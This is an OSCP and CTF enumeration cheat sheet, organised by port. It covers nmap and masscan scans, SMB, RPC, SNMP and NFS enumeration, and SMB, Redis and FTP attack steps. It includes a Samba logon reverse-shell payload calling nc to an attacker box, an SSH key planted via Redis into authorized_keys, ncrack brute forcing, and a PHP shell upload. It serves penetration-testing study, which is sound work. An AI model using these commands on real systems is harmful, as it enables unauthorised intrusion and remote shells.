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Enumeration
https://github.com/s0wr0b1ndef/OSCP-note/
Disclaimer: These notes are not in the context of any machines I had during the OSCP lab or exam. This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. This is an approach I came up with while researching on offensive security. It contains contents from other blogs for my quick reference
Port Scanning :
nmap -sC -sV -o nmap -A -T5 10.10.10.x
Host Discovery
• nmap -sn 10.10.1.1-254 -vv -oA hosts
• netdiscover -r 10.10.10.0/24
DNS server discovery
• nmap -p 53 10.10.10.1-254 -vv -oA dcs
NSE Scripts Scan
* nmap -sV --script=vulscan/vulscan.nse (https://securitytrails.com/blog/nmap-vulnerability-scan)
Port specific NSE script list :
ls /usr/share/nmap/scripts/ssh*
ls /usr/share/nmap/scripts/smb*
Scanning all 65535 ports :
masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.x
Running specific NSE scripts :
nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x -T5 -A
sC - default scripts, sV - scan for versions, oA- output all formats
Optional - sT (performs full scan instead of syn-scan to prevent getting flagged by firewalls)
From Apache Version to finding Ubuntu version -> ubuntu httpd versions
FTP : (Port 21)
- anonymous login check
- ftp <ip address>
- username : anonymous
- pwd : anonymous
- file upload -> put shell.php
SSH : (Port 22)
id_rsa.pub : Public key that can be used in authorized_keys for login
id_rsa : Private key that is used for login. Might ask for password. can be cracked with
ssh2john and john- id_rsa
- ssh -i id_rsa [email protected]
- For passwordless login, add id_rsa.pub to target's authorized_keys
- ssh2john
DNS Zone transfer check : (Port 53)
- If port 53 is open
- Add host to /etc/hosts
- dig axfr smasher.htb @10.10.10.135
- Add the extracted domain to /etc/hosts and dig again
RPC Bind (111)
rpcclient --user="" --command=enumprivs -N 10.10.10.10
rpcinfo –p 10.10.10.10
rpcbind -p 10.10.10.10
RPC (135)
rpcdump.py 10.11.1.121 -p 135
rpcdump.py 10.11.1.121 -p 135 | grep ncacn_np // get pipe names
rpcmap.py ncacn_ip_tcp:10.11.1.121[135]
SMB (139 & 445)
nmap --script smb-protocols 10.10.10.10
smbclient -L //10.10.10.10
smbclient -L //10.10.10.10 -N // No password (SMB Null session)
smbclient --no-pass -L 10.10.10.10
smbclient //10.10.10.10/share_name
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u '' -p ''
smbmap -H 10.10.10.10 -s share_name
crackmapexec smb 10.10.10.10 -u '' -p '' --shares
crackmapexec smb 10.10.10.10 -u 'sa' -p '' --shares
crackmapexec smb 10.10.10.10 -u 'sa' -p 'sa' --shares
crackmapexec smb 10.10.10.10 -u '' -p '' --share share_name
crackmapexec smb 192.168.0.115 -u '' -p '' --shares --pass-pol
enum4linux -a 10.10.10.10
rpcclient -U "" 10.10.10.10
* enumdomusers
* enumdomgroups
* queryuser [rid]
* getdompwinfo
* getusrdompwinfo [rid]
ncrack -u username -P rockyou.txt -T 5 10.10.10.10 -p smb -v
mount -t cifs "//10.1.1.1/share/" /mnt/wins
mount -t cifs "//10.1.1.1/share/" /mnt/wins -o vers=1.0,user=root,uid=0,gid=0
SMB Shell to Reverse Shell :
smbclient -U "username%password" //192.168.0.116/sharename
smb> logon “/=nc ‘attack box ip’ 4444 -e /bin/bash"
Checklist :
* Samba symlink directory traversal attack
SMB Exploits :
- Samba "username map script" Command Execution - CVE-2007-2447
- Version 3.0.20 through 3.0.25rc3
- Eternal Blue - CVE-2017-0144
- SMB v1 in Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016
- SambaCry - CVE-2017-7494
- 4.5.9 version and before
-
SNMP (161)
- snmpwalk -c public -v1 10.0.0.0snmpcheck -t 192.168.1.X -c publiconesixtyone -c names -i hostsnmap -sT -p 161 192.168.X.X -oG snmp_results.txtsnmpenum -t 192.168.1.X
IRC (194,6667,6660-7000)
- nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 irked.htb
NFS (2049)
- showmount -e 10.1.1.27
- mkdir /mnt/nfs
- mount -t nfs 192.168.2.4:/nfspath-shown /mnt/nfs
MYSQL (3306)
- nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
Redis (6379)
In the output of config get * you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:
- 1.Generate a ssh public-private key pair on your pc:
ssh-keygen -t rsa - 2.Write the public key to a file :
(echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt - 3.Import the file into redis :
cat foo.txt | redis-cli -h 10.10.10.10 -x set crackit - 4.Save the public key to the
authorized_keysfile on redis server:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /home/test/.ssh/
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
Port Knocking :
TCP
knock -v 192.168.0.116 4 27391 159
UDP
knock -v 192.168.0.116 4 27391 159 -u
TCP & UDP
knock -v 192.168.1.111 159:udp 27391:tcp 4:udp
Misc :
IF NOTHING WORKS
Last modified 2yr ago